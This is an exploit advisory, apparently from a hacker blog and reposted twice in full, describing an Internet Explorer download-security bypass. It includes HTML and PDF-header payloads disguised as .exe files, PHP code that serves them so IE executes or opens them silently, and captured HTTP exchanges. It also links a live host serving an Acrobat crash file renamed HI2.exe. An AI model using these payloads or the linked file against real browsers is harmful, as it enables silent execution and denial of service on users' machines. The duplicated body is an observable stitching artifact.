#################################################################################################
# Product : IE ALL (windows)
# Bug : Download/File Security Bypass
# From : Remote
#
# If you create an empty file called test.exe in your /www/ folder when you get it via IE , FF , Opera , etc, you'll
# get prompted for download/execute the file, right.
#
# But if we put inside our .exe , some html like a simple :
# <html>
# <head><title>bou!</title></head>
# <body>
# <script>window.print()</script>
# </body>
# </html>
#
# What happens ?
# Firefox ,Opera still ask for download the .exe, but IE * execute this html =)
#
# Another exemple :
# If we put instead of the html code , some header like the pdf one :
# %PDF-1.4
#
# What happens ?
# IE says "Internet Explorer can not display this Web page"
#
# But in reality , our file got downloaded & adobe was launched "silently" (just have a look in TaskManager)
# To prove my point you can try this file with IE * (acrobat reader * should crash) : http://209.190.122.178/HI2.exe
# This file is a DoS that i've discoverered in acrobat reader renamed with an exe extension, the advisory is located here : http://milw0rm.com/exploits/5687
#
# So what's going on ?
#
# Let's try the pdf thing:
GET /HI2.exe HTTP/1.0
Host: Whatever.com
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; Bob) // Internet Explorer use Mozilla/***(compatible; MSIE, for understanding what is made for Netscape...
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shock
wave-flash, */*
Accept-Language: fr-ca
Connection: Keep-Alive
Response Header:
HTTP/1.1 200 OK
Date: Fri, 20 Jun 2008 15:29:25 GMT
Server: Apache
Last-Modified: Thu, 19 Jun 2008 20:46:16 GMT
ETag: "a010c-2db3b-4500b118a9600"
Accept-Ranges: bytes
Content-Length: 187195
Keep-Alive: timeout=10, max=75
Connection: Keep-Alive
Content-Type: application/x-msdownload
# Now let's see the print one:
GET /print.exe HTTP/1.0
Host: 127.0.0.1
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; Bob)
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shock
wave-flash, */*
Accept-Language: fr-ca
Connection: Keep-Alive
Response Header:
HTTP/1.1 200 OK
Date: Fri, 20 Jun 2008 15:32:10 GMT
Server: Apache
Last-Modified: Wed, 18 Jun 2008 17:51:19 GMT
ETag: "a010a-63-44ff48207b3c0"
Accept-Ranges: bytes
Content-Length: 99
Keep-Alive: timeout=10, max=75
Connection: Keep-Alive
Content-Type: application/x-msdownload
# Let's do a test :
<?php
header('Content-type: application/x-msdownload');
header('Content-Disposition: attachment; filename="print.exe"');
readfile('print.exe');
?>
# Working as it should, you will get prompted for a download on all browsers
<?php
header('Content-type: application/x-msdownload');
readfile('HI2.exe');
?>
# Firefox & Netscape ask for download file.php, Opera ask for download file.exe, and IE show the content of file.exe.
# So if no Content-Disposition: is supplied with the Content-Type:application/x-msdownload ,IE try to read the file,
# unless to check the extension, and prompt ANYWAYS for download/execute.
#
# But wait a minute, there's a funny bug here ( http://milw0rm.com/exploits/641 ):
# http://site.com/123456.exe?12345.log //notepad is launched with the content of the 123456.exe (you need a real executable btw .)
# This still unpatched on IE * , i guess this advisory explain the whole fuck
# So what can we do with this ? we can easly pown urlmon.dll, but this is another advisory that will be related to this one :]
#
#
# So let's think ,Microsoft suggest that safari users, should remove them browser, because of the unsecure file download policy.
# ( http://www.microsoft.com/technet/securi ... 53818.mspx , http://cve.mitre.org/cgi-bin/cvename.cg ... -2007-4424 )
#
# Then i guess i should suggest to IE's users to use Firefox as a default browser, untill Microsoft stops them strategic marketing propaganda
# and then review their software specially designed to get powned since 1995 a.k.a IE 1.0
#
# Greetz: French/Quebec community, http://spiritofhack.net/
#
# "If in times like theses you can talk about individual freedoom, you're propably a terrorist"
Reference on IE6:
http://support.microsoft.com/kb/329661/en-us/
[ 12 comments ] ( 604 views ) permalink # Product : IE ALL (windows)
# Bug : Download/File Security Bypass
# From : Remote
#
# If you create an empty file called test.exe in your /www/ folder when you get it via IE , FF , Opera , etc, you'll
# get prompted for download/execute the file, right.
#
# But if we put inside our .exe , some html like a simple :
# <html>
# <head><title>bou!</title></head>
# <body>
# <script>window.print()</script>
# </body>
# </html>
#
# What happens ?
# Firefox ,Opera still ask for download the .exe, but IE * execute this html =)
#
# Another exemple :
# If we put instead of the html code , some header like the pdf one :
# %PDF-1.4
#
# What happens ?
# IE says "Internet Explorer can not display this Web page"
#
# But in reality , our file got downloaded & adobe was launched "silently" (just have a look in TaskManager)
# To prove my point you can try this file with IE * (acrobat reader * should crash) : http://209.190.122.178/HI2.exe
# This file is a DoS that i've discoverered in acrobat reader renamed with an exe extension, the advisory is located here : http://milw0rm.com/exploits/5687
#
# So what's going on ?
#
# Let's try the pdf thing:
GET /HI2.exe HTTP/1.0
Host: Whatever.com
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; Bob) // Internet Explorer use Mozilla/***(compatible; MSIE, for understanding what is made for Netscape...
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shock
wave-flash, */*
Accept-Language: fr-ca
Connection: Keep-Alive
Response Header:
HTTP/1.1 200 OK
Date: Fri, 20 Jun 2008 15:29:25 GMT
Server: Apache
Last-Modified: Thu, 19 Jun 2008 20:46:16 GMT
ETag: "a010c-2db3b-4500b118a9600"
Accept-Ranges: bytes
Content-Length: 187195
Keep-Alive: timeout=10, max=75
Connection: Keep-Alive
Content-Type: application/x-msdownload
# Now let's see the print one:
GET /print.exe HTTP/1.0
Host: 127.0.0.1
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; Bob)
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shock
wave-flash, */*
Accept-Language: fr-ca
Connection: Keep-Alive
Response Header:
HTTP/1.1 200 OK
Date: Fri, 20 Jun 2008 15:32:10 GMT
Server: Apache
Last-Modified: Wed, 18 Jun 2008 17:51:19 GMT
ETag: "a010a-63-44ff48207b3c0"
Accept-Ranges: bytes
Content-Length: 99
Keep-Alive: timeout=10, max=75
Connection: Keep-Alive
Content-Type: application/x-msdownload
# Let's do a test :
<?php
header('Content-type: application/x-msdownload');
header('Content-Disposition: attachment; filename="print.exe"');
readfile('print.exe');
?>
# Working as it should, you will get prompted for a download on all browsers
<?php
header('Content-type: application/x-msdownload');
readfile('HI2.exe');
?>
# Firefox & Netscape ask for download file.php, Opera ask for download file.exe, and IE show the content of file.exe.
# So if no Content-Disposition: is supplied with the Content-Type:application/x-msdownload ,IE try to read the file,
# unless to check the extension, and prompt ANYWAYS for download/execute.
#
# But wait a minute, there's a funny bug here ( http://milw0rm.com/exploits/641 ):
# http://site.com/123456.exe?12345.log //notepad is launched with the content of the 123456.exe (you need a real executable btw .)
# This still unpatched on IE * , i guess this advisory explain the whole fuck
# So what can we do with this ? we can easly pown urlmon.dll, but this is another advisory that will be related to this one :]
#
#
# So let's think ,Microsoft suggest that safari users, should remove them browser, because of the unsecure file download policy.
# ( http://www.microsoft.com/technet/securi ... 53818.mspx , http://cve.mitre.org/cgi-bin/cvename.cg ... -2007-4424 )
#
# Then i guess i should suggest to IE's users to use Firefox as a default browser, untill Microsoft stops them strategic marketing propaganda
# and then review their software specially designed to get powned since 1995 a.k.a IE 1.0
#
# Greetz: French/Quebec community, http://spiritofhack.net/
#
# "If in times like theses you can talk about individual freedoom, you're propably a terrorist"
Reference on IE6:
http://support.microsoft.com/kb/329661/en-us/
( 2.9 / 215 )
;)
;)
Categories
